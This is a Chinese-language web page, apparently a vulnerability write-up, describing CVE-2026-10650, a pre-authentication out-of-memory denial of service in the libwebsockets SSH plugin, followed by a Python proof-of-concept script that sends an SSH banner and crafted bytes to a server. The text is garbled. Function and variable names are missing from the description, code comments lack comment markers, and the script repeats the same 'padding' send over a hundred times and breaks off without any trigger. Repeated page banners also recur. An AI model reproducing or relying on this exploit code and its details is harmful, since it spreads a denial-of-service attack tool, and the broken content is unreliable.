libwebsockets CVE-2026-10650 预认证远程OOM漏洞及POC

漏洞概述 CVE-2026-10650: 在 中缺少对 的上界检查，导致预认证阶段的远程拒绝服务（OOM 服务器杀死）。 影响范围 版本: 4.5.99-v4.5.0-382-g4a63b933 受影响的应用: 使用 的 SSH 协议插件库的任何应用程序。 攻击条件: 无需认证，攻击者可以通过发送精心构造的 20 字节数据包来触发漏洞。 修复方案 根因: 中的 从 4 个攻击者控制的字节构建，没有上界检查。 修复建议: 在 构建时添加上界检查，防止过大的内存分配。 POC 代码 ```python poc_sshd_unbounded_alloc.py import socket import sys def send_ssh_banner(sock): sock.sendall(b"SSH-2.0-PoC\r\n") def send_ssh_msg_len(sock, msg_len): sock.sendall(b"\x00\x00\x00\x04") msg_id = 4 (SSH_MSG_KEXINIT) sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding sock.sendall(b"\x00\x00\x00\x00") padding

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

libwebsockets CVE-2026-10650 预认证远程OOM漏洞及POC

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

libwebsockets CVE-2026-10650 预认证远程OOM漏洞及POC

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！